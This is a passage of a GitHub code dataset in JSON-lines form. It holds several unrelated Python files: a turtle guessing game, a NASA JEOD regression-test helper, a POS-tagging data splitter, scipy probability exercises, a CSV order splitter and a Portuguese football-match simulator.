GAME\")\r\nwindow.tracer(0)\r\nturtle.bgcolor(\"black\")\r\nturtle.setup(1000,1000)\r\nturtle.pensize(5)\r\nturtle.color(\"red\")\r\nturtle.speed(0)\r\nturtle.penup()\r\nturtle.hideturtle()\r\nturtle.goto(0,-100)\r\nturtle.write(\"GUESS THE TURTLE GAME BY CHLOE YEO\", align = \"center\", font = (\"Arial\", 20, \"bold\"))\r\ntime.sleep(2)\r\nturtle.reset()\r\n\r\n# this displays \"3-2-1-Go!\" before the game starts\r\nfor i in range(3):\r\n turtle.hideturtle()\r\n turtle.pensize(5)\r\n turtle.color(\"red\")\r\n turtle.speed(0)\r\n turtle.penup()\r\n turtle.goto(0,-100)\r\n turtle.write(3-i, align = \"center\", font = (\"Arial\", 35, \"bold\"))\r\n time.sleep(1)\r\n turtle.reset()\r\nturtle.hideturtle()\r\nturtle.pensize(5)\r\nturtle.color(\"red\")\r\nturtle.speed(0)\r\nturtle.penup()\r\nturtle.goto(0,-100)\r\nturtle.write(\"Go!\", align = \"center\", font = (\"Arial\", 35, \"bold\"))\r\ntime.sleep(1)\r\nturtle.reset()\r\nturtle.update()\r\n\r\nsquares = {} # squares stores the index of each square, e.g. {0:{\"shape\": \"square\", \"x\":x, \"y\":y, \"width\": width}, 1:{\"shape\": \"square\", \"x\":x, \"y\":y, \"width\": width}...}\r\n\r\ndef beginRound(rows, columns):\r\n '''Sets the timer for each round depending on rows and columns.\r\n For each column in each row, the information of the (count)th square is stored in\r\n the form dictionary inside dictionary called squares with count being the key.'''\r\n \r\n global myTimer\r\n myTimer = threading.Timer(rows*columns, stopRound)\r\n myTimer.start()\r\n\r\n turtle.speed(0)\r\n count = 0\r\n\r\n\r\n for row in range(rows):\r\n for column in range (columns):\r\n squares[count] = drawSquare(column*50,row*50,30)\r\n count = count + 1\r\n \r\n \r\ndef drawSquare(x,y,width=50,color=\"red\"):\r\n \r\n '''Draw a single square on the screen at position (x,y)\r\n with specified color and width.\r\n It returns a dictionary of the square data.'''\r\n \r\n turtle.hideturtle()\r\n turtle.penup()\r\n turtle.goto(x-200,y-400)\r\n turtle.setheading(0)\r\n turtle.color(color)\r\n turtle.begin_fill()\r\n for i in range(4): # this is to draw a square\r\n turtle.forward(width)\r\n turtle.left(90)\r\n turtle.end_fill()\r\n return {\"shape\": \"square\", \"x\":x, \"y\":y, \"width\": width}\r\n\r\n\r\n\r\ndef isCoordinateInSquare(x,y,square):\r\n \r\n '''Check whether x,y coordinates fall inside the\r\n square - which is a dictionary with x,y bottom left point and width.'''\r\n \r\n squareLeft = square[\"x\"] - 200\r\n squareRight = squareLeft + square[\"width\"]\r\n squareBottom = square[\"y\"] - 400\r\n squareTop = squareBottom + square[\"width\"]\r\n\r\n return (x >= squareLeft and x <= squareRight and y >= squareBottom and y <= squareTop)\r\n\r\n\r\ndef findBox(x,y):\r\n \r\n '''If the x,y coordinates of the point that user clicked is within a square,\r\n the index of the square in the list called squares is returned.'''\r\n \r\n for i in squares:\r\n if isCoordinateInSquare(x,y,squares[i]):\r\n return i\r\n return None\r\n\r\ntimes_won = 0\r\n\r\ndef changeBox(x,y):\r\n \r\n '''Remove the red square that has been clicked by drawing black squares on top.\r\n When user clicks correct square, white turtle is shown and user wins round.'''\r\n \r\n i = findBox(x,y)\r\n if i == None:\r\n return\r\n square = squares[i]\r\n drawSquare(square[\"x\"]-1, square[\"y\"]-1, square[\"width\"]+2, \"black\")\r\n \r\n if i == correctSquare:\r\n global times_won\r\n turtle.goto(x,y)\r\n turtle.color(\"white\")\r\n turtle.shape(\"turtle\")\r\n turtle.showturtle()\r\n turtle.update()\r\n time.sleep(2)\r\n \r\n turtle.onscreenclick(None)\r\n turtle.hideturtle()\r\n turtle.pensize(5)\r\n turtle.color(\"pink\")\r\n turtle.speed(0)\r\n turtle.penup()\r\n turtle.goto(-360,-200)\r\n turtle.write(\"You are the champion!\", align = \"center\", font = (\"Arial\", 15, \"bold\"))\r\n myTimer.cancel()\r\n times_won += 1\r\n endRoundTimer = threading.Timer(2, setup_round)\r\n endRoundTimer.start()\r\n \r\ndef stopRound():\r\n \r\n '''When timer runs out, round ends.\r\n The user loses round and moves on to next round.'''\r\n \r\n turtle.hideturtle()\r\n turtle.pensize(5)\r\n turtle.color(\"orange\")\r\n turtle.speed(0)\r\n turtle.penup()\r\n turtle.goto(-370,-200)\r\n turtle.write(\"Time up!\\nYou have lost this round.\", align = \"center\", font = (\"Arial\", 13, \"bold\"))\r\n turtle.onscreenclick(None)\r\n time.sleep(2)\r\n setup_round()\r\n\r\ncorrectSquare = None\r\nrounds_passed = 0\r\n \r\ndef setup_round():\r\n '''calls other functions to draw out squares in the row*column grid and\r\n removes each square when clicked by user and when correct square is clicked, turtle appears.\r\n when all rounds are finished where number of rounds is set by user, the games score appears\r\n at the end with a confetti called bouncing_balls.'''\r\n \r\n global correctSquare, rounds_passed\r\n \r\n # Round is the number of rounds the user sets at first by input, rounds_passed is literally number of rounds passed.\r\n \r\n turtle.reset()\r\n rounds_passed += 1\r\n if rounds_passed > Round: # this is when all rounds finish\r\n turtle.onscreenclick(None)\r\n turtle.reset()\r\n turtle.penup()\r\n turtle.color(\"white\")\r\n turtle.hideturtle()\r\n turtle.goto(0,-100)\r\n turtle.write(\"Game ended! You have won {} out of {} rounds.\".format(times_won, Round),align = \"center\", font = (\"Vijaya\", 20, \"bold\"))\r\n bouncing_ball()\r\n turtle.bye()\r\n return\r\n \r\n turtle.penup()\r\n turtle.goto(-400,0)\r\n turtle.color(\"white\")\r\n turtle.write(\"ROUND \"+str(rounds_passed), font = (\"Arial\", 20, \"bold\"))\r\n turtle.goto(-460,-100)\r\n turtle.write(\"Click the squares within\\nthe time limit until\\nyou find the turtle!\", font = (\"Arial\", 14, \"bold\"))\r\n turtle.hideturtle()\r\n row = int(input(\"Please enter the number of rows: \"))\r\n column = int(input(\"Please enter the number of columns: \"))\r\n while row >= 13 or column >= 15 :\r\n print(\"Please try again with less rows and/or columns!\")\r\n row = int(input(\"Please enter the number of rows: \"))\r\n column = int(input(\"Please enter the number of columns: \"))\r\n correctSquare = random.randint(0,(row*column)-1)\r\n beginRound(row,column)\r\n turtle.onscreenclick(changeBox) # when i click, the program calls changeBox(x,y)\r\n \r\n\r\ndef bouncing_ball():\r\n\r\n '''Various shapes floating around screen in random directions.'''\r\n \r\n balls = []\r\n for i in range(10):\r\n balls.append(turtle.Turtle())\r\n colours = [\"red\",\"yellow\",\"pink\",\"orange\",\"green\",\"white\",\"purple\",\"blue\"]\r\n shapes = [\"circle\",\"triangle\",\"square\"]\r\n for ball in balls:\r\n ball.shape(random.choice(shapes))\r\n ball.color(random.choice(colours))\r\n ball.penup()\r\n ball.speed(0)\r\n x_ball = random.randint(-290,290)\r\n y_ball = random.randint(200,400)\r\n ball.goto(x_ball,y_ball)\r\n ball.dy = 0\r\n ball.dx = random.randint(-3,3)\r\n \r\n gravity = 0.1\r\n for i in range(600):\r\n window.update()\r\n for ball in balls:\r\n ball.dy = ball.dy - gravity\r\n ball.sety(ball.ycor()+ball.dy)\r\n ball.setx(ball.xcor()+ball.dx)\r\n\r\n # Check for a wall collision\r\n if ball.xcor() > 300:\r\n ball.dx = ball.dx*-1\r\n if ball.xcor() < -300:\r\n ball.dx = ball.dx*-1\r\n\r\n # Check for a bounce\r\n if ball.ycor() < -300:\r\n ball.dy = ball.dy*-1\r\n\r\nRound = int(input(\"How many rounds do you want to play?: \"))\r\n \r\nsetup_round()\r\n\r\nturtle.mainloop()\r\n","repo_name":"chloeyeo/Mini-games-and-a-dive-into-history","sub_path":"Guess_the_turtle_game.py","file_name":"Guess_the_turtle_game.py","file_ext":"py","file_size_in_byte":7875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3859572408","text":"import os\nimport sys\nfrom VerifModel import VerifModel\nfrom verif_utilities import tprint, parallel_runs\nfrom Job import Job\nfrom CodeCoverage import CodeCoverage\n#*****************************************************************************\n# VerifPackage\n# Provides all the verification information for an entire package, based on\n# a configuration file.\n#*****************************************************************************\nclass VerifPackage:\n\n def __init__( self, sim_binary, name = '', run_base = '', verif_base = ''):\n self.name = name\n self.models = []\n self.sim_binary = sim_binary\n self.run_base = run_base\n self.verif_base = verif_base\n\n\n\n #*****************************************************************************\n # parse_config_file\n # Reads the configuration file, creating VerifModel instances with the\n # respective information contained therein.\n # Note - creation of the VerifSim, VerifRun, and VerifFile instances cascade\n # from the creation of the VerifModel instances.\n #*****************************************************************************\n def parse_config_file(self, myArgs):\n\n tprint(\"Executing regression tests based on definition in \" +\n myArgs.config_file,\n \"DARK_CYAN\", \"INFO\")\n exec(compile(open(myArgs.config_file, \"rb\").read(), myArgs.config_file, 'exec'), globals())\n\n # If verif_base and run_base are the same, file comparisons will\n # all be comparing the specified file against itself.\n # This would be rather silly.\n make_file_comps = True\n if myArgs.verif_base == myArgs.run_base:\n tprint( \"ERROR: verification file locations are identical \" +\n \"to run file locations. No file comparisons will be\" +\n \"completed.\", 'DARK_RED','ERROR')\n make_file_comps = False\n\n # If myArgs.cidiff_file is defined, overwrite the myArgs.model\n if myArgs.cidiff_file:\n myArgs.model = \"no_model\"\n ci_f = open(myArgs.cidiff_file, 'r')\n ci_string = ci_f.read()\n\n\n for model_info in verif_sim_list:\n if len(model_info) != 2:\n tprint(\"ERROR: malformed model configuration: \" + model_info,\n 'DARK_RED','ERROR')\n continue\n\n if myArgs.cidiff_file:\n # Determine the string used to search in the cidiff_file\n if model_info[0] == 'verif' or model_info[0] == 'sims':\n model_search_string = model_info[0] + '/' + model_info[1][0][0]\n elif model_info[0] == 'docs/Training/Exercises/Solutions/':\n model_search_string = 'docs/Training/'\n else:\n model_search_string = model_info[0]\n # search the model string in cidiff_file.\n # if found overwrite the myArgs.model with this model_info[0]\n print(model_search_string)\n if model_search_string in ci_string:\n myArgs.model = model_info[0]\n\n # if a specific model is desired, skip if this is not it.\n if myArgs.model and myArgs.model != model_info[0]:\n continue\n\n model = VerifModel()\n model.parse_model_info (model_info, myArgs, make_file_comps)\n self.models.append(model)\n\n # if nothing has been added (so models is still empty), there were\n # no matches\n if not self.models:\n if myArgs.cidiff_file:\n tprint (\"CI diff file: \" + myArgs.cidiff_file + \" \" +\n \"No changed to the models in the configuration. \" +\n \"No sim will be build and run\", 'DARK_CYAN', 'INFO')\n sys.exit(0)\n elif myArgs.model:\n tprint(\"ERROR: unable to find a configuration for \"+\n myArgs.model, 'DARK_RED','ERROR')\n sys.exit(1)\n else:\n tprint(\"ERROR: Configuration file did not provide any \"+\n \"properly configured model descriptions.\",\n 'DARK_RED','ERROR')\n sys.exit(1)\n\n\n #*************************************************************************\n # report\n # Produce the overall report data.\n #*************************************************************************\n def report( self):\n tprint(\"Summary of All Sims, All Runs, All Comparisons for \"+self.name+\n \" package\", 'DARK_CYAN')\n for model in self.models:\n model.report()\n\n\n #*************************************************************************\n # analyze_data\n # For every VerifRun with a failed data comparison (using md5sum),\n # executes the graphical comparison tool to present the differences\n # in a human-readable form.\n #*************************************************************************\n def analyze_data( self,\n logdir,\n file_pattern,\n num_cpus,\n run_base = '',\n verif_base = ''):\n\n analysis_jobs = [] # list of Job instances\n for sim in [sim for model in self.models\n for sim in model.sims\n if any(run.status is run.Status.COMP_FAIL\n for run in sim.runs)]:\n test_path = os.path.join( sim.full_sim_dir,\n run_base)\n verif_path = os.path.join( sim.full_sim_dir,\n verif_base)\n #logfile = logdir+\"/04_analysis_logging_\"+sim.unique_id+\".txt\"\n command = \"$JEOD_HOME/regression/regressionCompare.py \"+ \\\n \" -r \"+verif_path + \\\n \" -t \"+test_path + \\\n \" -l \"+logdir+\"/04_data_comp_log_\"+sim.unique_id+\".txt\"+ \\\n \" -i \"+file_pattern\n\n job = Job( \"DATA_COMP_\"+sim.unique_id,\n command,\n logdir+\"/04_data_comp_std_\"+sim.unique_id+\".txt\",\n 0)\n analysis_jobs.append( job)\n\n parallel_runs( analysis_jobs, num_cpus)\n\n\n #*************************************************************************\n # code_coverage\n # Produce the code-coverage report on all models tested as part of this\n # package.\n #*************************************************************************\n def code_coverage( coverage_format):\n model_idx = 1\n code_coverage = CodeCoverage( coverage_format)\n for model in models:\n tprint(\"Code Coverage: %s ( %d / %d ) ...\" % ( model.model_dir,\n model_idx,\n len(models) ) )\n code_coverage.execute( model.model_dir)\n model_idx += 1\n","repo_name":"nasa/jeod","sub_path":"regression/VerifPackage.py","file_name":"VerifPackage.py","file_ext":"py","file_size_in_byte":7052,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"31"} +{"seq_id":"24586915320","text":"import json\nfrom itertools import chain\nfrom random import shuffle, randrange\n\n\ndef load_dataset(file, merged=False):\n with open(file) as f:\n data = json.load(f)\n\n docs = []\n tagged_sentences = []\n for _, doc in data.items():\n for _, sent in doc.items():\n # and drop inheritance relations of tags\n tagged_sentences.append([(tok, tags) for _, (tok, tags) in list(sent.items())])\n docs.append(tagged_sentences)\n tagged_sentences = []\n\n if merged:\n return \"\\n\".join(docs)\n return docs\n\n\ndef singlesplit(tagged_sents, fraction=.9, randomized=True):\n '''\n shuffle sentences\n select starttoken randomly (needed, because maybe there are to little sentences)\n select endtoken by fraction\n :param tagged_sentences: [[(tok1,[tag1,tag2]),(tok2....\n :param fraction:\n :return:\n '''\n if randomized:\n shuffle(tagged_sents)\n n_toks = sum((len(sent) for sent in tagged_sents))\n\n cut1 = randrange(0, n_toks)\n cut2 = (cut1 + int(fraction * n_toks)) % n_toks\n\n return _split(cut1, cut2, tagged_sents)\n\n\ndef kfoldsplit(tagged_sents, k=10, randomized=True):\n '''\n shuffle sentences\n select starttoken randomly (needed, because maybe there are to little sentences)\n select endtoken by fraction\n :param tagged_sentences: [[(tok1,[tag1,tag2]),(tok2....\n :param fraction:\n :return:\n '''\n if randomized:\n shuffle(tagged_sents)\n n_toks = sum((len(sent) for sent in tagged_sents))\n\n cut2 = randrange(0, n_toks)\n for i in range(k):\n # start anywhere than we shift always ntoks//k\n cut1 = cut2\n cut2 = (cut1 + n_toks - n_toks // k) % n_toks\n yield _split(cut1, cut2, tagged_sents)\n\n\ndef _split(cut1, cut2, tagged_sents):\n # this means we will flip cutting positions and also flip the returned arrays\n invert = cut1 > cut2\n if invert:\n cut1, cut2 = cut2, cut1\n outer, inner = [], []\n i = -1 # preincrement\n for sent in tagged_sents:\n new_sent = []\n for tok in sent:\n i += 1\n if i == cut1:\n # first element in inner\n if new_sent:\n outer.append(new_sent)\n new_sent = []\n if i == cut2:\n # first element in outer\n if new_sent:\n inner.append(new_sent)\n new_sent = []\n new_sent.append(tok)\n if new_sent:\n if cut1 <= i < cut2:\n inner.append(new_sent)\n else:\n outer.append(new_sent)\n return (outer, inner) if invert else (inner, outer)\n\n\nassert sum((len(sent) for sent in singlesplit([\n \"a b c\".split(),\n \"4 4 3 2 3 4 4 3 2 9 9 9 5 4 3 2 3\".split()\n])[1])) == 2\n\n\ndef tagged_sents_tostring(sents, dlm=\"/\"):\n lines = []\n for sent in sents:\n lines.append(\" \".join([tok + dlm + tags[0] for tok, tags in sent]))\n return \"\\n\".join(lines)\n\n\nif __name__ == '__main__':\n docs = load_dataset(\"dataset.json\")\n train_sents = []\n eval_sents = []\n for tagged_sents in docs:\n train, eval = singlesplit(tagged_sents)\n train_sents.extend(train)\n eval_sents.extend(eval)\n\n with open(\"dataset.tagged\", \"w\") as f:\n print(tagged_sents_tostring(chain.from_iterable(docs)), file=f)\n with open(\"train.tagged\", \"w\") as f:\n print(tagged_sents_tostring(train_sents), file=f)\n with open(\"eval.tagged\", \"w\") as f:\n print(tagged_sents_tostring(eval_sents), file=f)\n","repo_name":"stheid/pos-tagger-experiments","sub_path":"util/convert_dataset.py","file_name":"convert_dataset.py","file_ext":"py","file_size_in_byte":3550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34561744751","text":"# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n\nclass Solution:\n def mergeTwoLists(self, l1, l2):\n dummy = ListNode(0)\n\n return dummy.next\n\nanswer = Solution().mergeTwoLists([], [])\nprint(answer)\n\nimport numpy\n\nmy_array = numpy.array(\n [\n [2, 5],\n [3, 7],\n [1, 3],\n [4, 0]\n ]\n)\n\nanswer = max(numpy.min(my_array, axis=1))\n\nprint(answer)","repo_name":"BergC/leetcodepython","sub_path":"21_merge_linked_lists/21_merge_linked_lists.py","file_name":"21_merge_linked_lists.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23686717662","text":"from scipy.stats import binom \r\nimport numpy as np\r\n#1\r\nbinom.pmf(k=5, n=40, p=0.25)\r\n\r\n#2\r\nks =np.arange(0,11)\r\ns=0\r\nfor i in ks:\r\n s=s+binom.pmf(k=i, n=40, p=0.25)\r\nprint(s) \r\n#or\r\nbinom.cdf(k=10, n=40, p=0.25)\r\n\r\n#3\r\n\r\nbinom.sf(k=19, n=40, p=0.25)\r\n#4\r\nbinom.stats(n=40,p=0.25)\r\n\r\n\r\n#------------------- 20 worker -----\r\n#1-----a\r\n\r\nbinom.pmf(k=5,n=20,p=0.15)\r\n#b\r\nbinom.sf(k=12,n=20,p=0.15)\r\n#c\r\nbinom.cdf(k=10,n=20,p=0.15)\r\n\r\n#2----------------disorder ----------\r\n#a\r\nbinom.pmf(0,20,.35)\r\n#b\r\nbinom.pmf(10,20,.35)\r\n#c\r\nbinom.cdf(k=10,n=20,p=.35)\r\n#d\r\nbinom.sf(13,20,.35)\r\n#poisson\r\n#example\r\nfrom scipy.stats import poisson\r\n#a\r\npoisson.pmf(5,12)\r\n#b\r\npoisson.cdf(12,12)\r\n#c\r\npoisson.sf(14,12)\r\n#d\r\nks=np.arange(10,16)\r\ns=0\r\nfor i in ks:\r\n s=s+poisson.pmf(i,12)\r\nprint(s)\r\n\r\n#or\r\npoisson.cdf(15,12)-poisson.cdf(9,12) \r\n\r\n#poisson distribution \r\n#1---a\r\npoisson.sf(70, 56)\r\n#b\r\npoisson.cdf(19,56)\r\n#2 a---\r\npoisson.sf(5, 4)\r\n#--b\r\npoisson.cdf(2, 4)\r\n#normalization \r\n\r\nfrom scipy.stats import norm\r\n#example---1\r\nnorm.cdf(58,64,4)\r\n#example--2\r\nnorm.sf(200,180,30)\r\n\r\n#question \r\n#1\r\nnorm.ppf(.95,100,15)\r\n#2\r\n#a\r\nnorm.sf(2000,1678,500)\r\n#b\r\nnorm.ppf(.9,1678,500)\r\n#c\r\nnorm.cdf(1900,1678, 500)-norm.cdf(1000,1678,500)\r\n\r\n#example 3\r\n#a\r\nnorm.ppf(.98,313,57)\r\n#b\r\nnorm.ppf(.90,93,22)\r\n#c\r\npa=norm.sf(450,313,57)\r\npb=norm.sf(150,93,22)\r\npa+pb-pa*pb\r\n","repo_name":"shakti2509/advance-analytics-","sub_path":"insurence agent.py","file_name":"insurence agent.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23287209625","text":"import codecs\nfrom datetime import datetime\n\nlista = []\nwith codecs.open('../lab_06/zamowienia.csv', 'r', 'utf-8-sig') as f:\n for line in f:\n lista.append(line.replace('\\n', '').replace('\\r', '').replace(' z\\x88', '').split(';'))\n\n# zamiana przecinka na kropke\ndef zamiana(line):\n line[len(line)-1] = line[len(line)-1].replace(',','.').replace(' ', '')\n line[2] = datetime.strptime(line[2], '%d.%m.%Y').strftime('%Y-%m-%d')\n return line\nlista = lista[0] + list(map(lambda x: zamiana(x), lista[1:]))\n\npl = list(filter(lambda x: x[0] == 'Polska', lista))\nde = list(filter(lambda x: x[0] == 'Niemcy', lista))\n\nwith open('zamowienia_polska.csv', 'w') as f:\n for line in pl:\n f.write(\";\".join(line)+'\\n')\n\nwith open('zamowienia_niemcy.csv', 'w') as f:\n for line in de:\n f.write(\";\".join(line)+'\\n')","repo_name":"szymon242820/dswp_2023","sub_path":"lab_07/zad4.py","file_name":"zad4.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7499513540","text":"from time import sleep \r\nfrom random import randint, uniform, choice\r\n\r\n# placar contador \r\n\r\ngol1s = list()\r\ngol2s = list()\r\nchutes1 = list()\r\nchutes2 = list()\r\nposse1 = list()\r\nposse2 = list()\r\nchutes_gol1 = list()\r\nchutes_gol2 = list()\r\nmin = list()\r\n\r\n# cartão amarelo e vermelho\r\n\r\ncartao_y = '\\033[1;33;43m \\033[m'\r\nred = '\\033[1;37;41m \\033[m'\r\n\r\n# times que vão jogar \r\n\r\n# time 1\r\ntime_1 = ['Gabriel', 'Luiz', 'Emanuel', 'Hernanes', 'Weverton', 'Deivid', 'Ismael']\r\n\r\n# time 2\r\ntime_2 = ['Marcos', 'Renan', 'Mateus', 'Igor', 'Everton', 'Marquinhos', 'Malcom']\r\n\r\n# função space ou espaço\r\n\r\ndef space():\r\n print(' ')\r\n\r\n# LANCES TIME 1\r\ndef lance_gol_time1():\r\n while True:\r\n player1 = choice(time_1)\r\n player2 = choice(time_1)\r\n player3 = choice(time_1)\r\n player4 = choice(time_1)\r\n if player1 != player2 != player3 != player4 != player1 != player2 != player3:\r\n print(f'\\033[1;44;37mrecebe a bola {player1}, que repassa para {player2}..\\033[m'.center(80))\r\n sleep(2)\r\n print(f'\\033[1;44;37m{player2} distribui para {player3} que aciona {player4}\\033[m'.center(80))\r\n sleep(2)\r\n print(f'\\033[1;44;37m{player4} finaliza, e...\\033[m'.center(80))\r\n sleep(3)\r\n space()\r\n print(f'\\033[1;31;42mGOOLLLL, é do {s_time}\\033[m (Minuto {m}°)'.center(80))\r\n space()\r\n gol1s.append(1)\r\n chutes1.append(1)\r\n posse1.append(1)\r\n chutes_gol1.append(1)\r\n break\r\n\r\ndef lance1():\r\n while True:\r\n player1 = choice(time_1)\r\n player2 = choice(time_1)\r\n player3 = choice(time_1)\r\n player4 = choice(time_1)\r\n if player1 != player2 != player3 != player4 != player1 != player2 != player3:\r\n print(f'\\033[1;44;37mrecebe a bola {player1}, que repassa para {player2}..\\033[m'.center(80))\r\n sleep(2)\r\n print(f'\\033[1;44;37m{player2} distribui para {player3} que aciona {player4}..\\033[m'.center(80))\r\n sleep(2)\r\n print(f'\\033[1;44;37m{player4} finaliza, e...\\033[m'.center(80))\r\n sleep(3)\r\n space()\r\n print(f'\\033[1;44;37mDesperdiça a chance o jogador {player4} do {s_time}\\033[m (Minuto {m}°)'.center(80))\r\n sleep(1)\r\n space()\r\n chutes1.append(1)\r\n posse1.append(1)\r\n break\r\n\r\ndef lance2():\r\n while True:\r\n player1 = choice(time_1)\r\n player2 = choice(time_1)\r\n player3 = choice(time_1)\r\n player4 = choice(time_1)\r\n if player1 != player2 != player3 != player4 != player1 != player2 != player3:\r\n print(f'\\033[1;44;37mrecebe a bola {player1}, que repassa para {player2}..\\033[m'.center(80))\r\n sleep(2)\r\n print(f'\\033[1;44;37m{player2} distribui para {player3} que aciona {player4}..\\033[m'.center(80))\r\n sleep(2)\r\n print(f'\\033[1;44;37m{player4} finaliza, e...\\033[m'.center(80))\r\n sleep(3)\r\n space()\r\n print(f'\\033[1;44;37mO {player4} acerta a trave...\\033[m (Minuto {m}°)'.center(80))\r\n space()\r\n sleep(1)\r\n chutes1.append(1)\r\n posse1.append(1)\r\n break\r\n\r\ndef lance3():\r\n while True:\r\n player1 = choice(time_1)\r\n player2 = choice(time_1)\r\n player3 = choice(time_1)\r\n player4 = choice(time_1)\r\n if player1 != player2 != player3 != player4 != player1 != player2 != player3:\r\n print(f'\\033[1;44;37mrecebe a bola {player1}, que repassa para {player2}..\\033[m'.center(80))\r\n sleep(2)\r\n print(f'\\033[1;44;37m{player2} distribui para {player3} que aciona {player4}..\\033[m'.center(80))\r\n sleep(2)\r\n print(f'\\033[1;44;37m{player4} finaliza, e...\\033[m'.center(80))\r\n sleep(3)\r\n space()\r\n print(f'\\033[1;44;37m Direto nas mãos do goleiro.\\033[m (Minuto {m}°)'.center(80))\r\n sleep(1)\r\n space()\r\n chutes1.append(1)\r\n posse1.append(1)\r\n chutes_gol1.append(1)\r\n sleep(1)\r\n break\r\n\r\n# LANCE TIME 2\r\n\r\ndef lance_gol_time2():\r\n while True:\r\n player1 = choice(time_2)\r\n player2 = choice(time_2)\r\n player3 = choice(time_2)\r\n player4 = choice(time_2)\r\n if player1 != player2 != player3 != player4 != player1 != player2 != player3:\r\n print(f'\\033[1;37;41mrecebe a bola {player1}, que repassa para {player2}..\\033[m'.center(80))\r\n sleep(2)\r\n print(f'\\033[1;37;41m{player2} distribui para {player3} que aciona {player4}..\\033[m'.center(80))\r\n sleep(2)\r\n print(f'\\033[1;37;41m{player4} finaliza, e...\\033[m'.center(80))\r\n sleep(3)\r\n space()\r\n print(f'\\033[1;31;42mGOOLLLL, é do {time_adv}\\033[m (Minuto {m}°)'.center(80))\r\n space()\r\n sleep(1)\r\n gol2s.append(1)\r\n chutes2.append(1)\r\n posse2.append(1)\r\n chutes_gol2.append(1)\r\n break\r\n\r\ndef lance4():\r\n while True:\r\n player1 = choice(time_2)\r\n player2 = choice(time_2)\r\n player3 = choice(time_2)\r\n player4 = choice(time_2)\r\n if player1 != player2 != player3 != player4 != player1 != player2 != player3:\r\n print(f'\\033[1;37;41mrecebe a bola {player1}, que repassa para {player2}..\\033[m'.center(80))\r\n sleep(2)\r\n print(f'\\033[1;37;41m{player2} distribui para {player3} que aciona {player4}..\\033[m'.center(80))\r\n sleep(2)\r\n print(f'\\033[1;37;41m{player4} finaliza, e...\\033[m'.center(80))\r\n sleep(3)\r\n space()\r\n print(f'\\033[1;37;41mDesperdiça a chance o jogador {player4} do {time_adv} \\033[m (Minuto {m}°)'.center(80))\r\n space()\r\n sleep(1)\r\n chutes2.append(1)\r\n posse2.append(1)\r\n break\r\n\r\ndef lance5():\r\n while True:\r\n player1 = choice(time_2)\r\n player2 = choice(time_2)\r\n player3 = choice(time_2)\r\n player4 = choice(time_2)\r\n if player1 != player2 != player3 != player4 != player1 != player2 != player3:\r\n print(f'\\033[1;37;41mrecebe a bola {player1}, que repassa para {player2}..\\033[m'.center(80))\r\n sleep(2)\r\n print(f'\\033[1;37;41m{player2} distribui para {player3} que aciona {player4}..\\033[m'.center(80))\r\n sleep(2)\r\n print(f'\\033[1;37;41m{player4} finaliza, e...\\033[m'.center(80))\r\n sleep(3)\r\n space()\r\n print(f'\\033[1;37;41mO jogador {player4} acerta a trave...\\033[m (Minuto {m}°)'.center(80))\r\n space()\r\n sleep(1)\r\n chutes2.append(1)\r\n posse2.append(1)\r\n chutes_gol2.append(1)\r\n break\r\n\r\ndef lance6():\r\n while True:\r\n player1 = choice(time_2)\r\n player2 = choice(time_2)\r\n player3 = choice(time_2)\r\n player4 = choice(time_2)\r\n if player1 != player2 != player3 != player4 != player1 != player2 != player3:\r\n print(f'\\033[1;37;41mrecebe a bola {player1}, que repassa para {player2}..\\033[m'.center(80))\r\n sleep(2)\r\n print(f'\\033[1;37;41m{player2} distribui para {player3} que aciona {player4}..\\033[m'.center(80))\r\n sleep(2)\r\n print(f'\\033[1;37;41m{player4} finaliza, e...\\033[m'.center(80))\r\n sleep(3)\r\n space()\r\n print(f'\\033[1;37;41m Direto nas mãos do goleiro.\\033[m (Minuto {m}°)'.center(80))\r\n space()\r\n sleep(1)\r\n chutes2.append(1)\r\n posse2.append(1)\r\n chutes_gol2.append(1) \r\n break\r\n\r\n# Rodando o programa 👇🏾\r\n\r\nprint(' ')\r\nprint('-=-' * 20)\r\ns_time = str(input('\\n\\033[1;37;44mDigite o nome da sua equipe:\\033[m '))\r\nprint('-=-' * 20)\r\nprint(' ')\r\nprint('-=-' * 20)\r\ntime_adv = str(input('\\033[1;37;41mDigite o nome do time adversário:\\033[m '))\r\nprint(' ')\r\nsleep(0.85)\r\nprint('\\033[1;34;47m COMEÇA A PARTIDA... \\033[m'.center(80))\r\nsleep(0.85)\r\nprint(' ')\r\nprint(' ')\r\n\r\n# LOOP que vai gerar o resultado da partida no primeiro tempo.\r\n\r\nfor c in range(0, 45):\r\n conf_gol1 = randint(0, 100)\r\n conf_gol2 = randint(0, 100)\r\n conf_lance1 = randint(0, 100)\r\n conf_lance2 = randint(0, 100)\r\n sleep(0.55)\r\n time_c1 = len(time_1)\r\n time_c2 = len(time_2)\r\n chutes_1 = uniform(0, 103)\r\n chutes_2 = uniform(0, 103)\r\n cartao_time1 = randint(0, 102)\r\n cartao_time2 = randint(0, 102)\r\n min.append(1)\r\n m = len(min)\r\n if cartao_time1 > 99:\r\n player_y1 = choice(time_1)\r\n print(f'\\033[1;44;37mCartão amarelo para {player_y1}\\033[m {cartao_y}'.center(80))\r\n space()\r\n if cartao_time2 > 99:\r\n player_y2 = choice(time_2)\r\n print(f'\\033[1;37;41mCartão amarelo para {player_y2}\\033[m {cartao_y}'.center(80))\r\n space()\r\n if chutes_1 > 100.00 and conf_gol1 > 90:\r\n lance_gol_time1()\r\n elif chutes_1 > 0 and chutes_1 < 5:\r\n lance1()\r\n elif chutes_1 > 102.98 and chutes_1 < 104.98:\r\n lance2()\r\n elif chutes_1 > 93.55 and chutes_1 < 98.55:\r\n lance3()\r\n if chutes_2 > 100.00 and conf_gol2 > 90:\r\n lance_gol_time2()\r\n elif chutes_2 > 5 and chutes_2 < 10:\r\n lance4()\r\n elif chutes_2 > 98 and chutes_2 < 100:\r\n lance5()\r\n elif chutes_2 > 93 and chutes_2 < 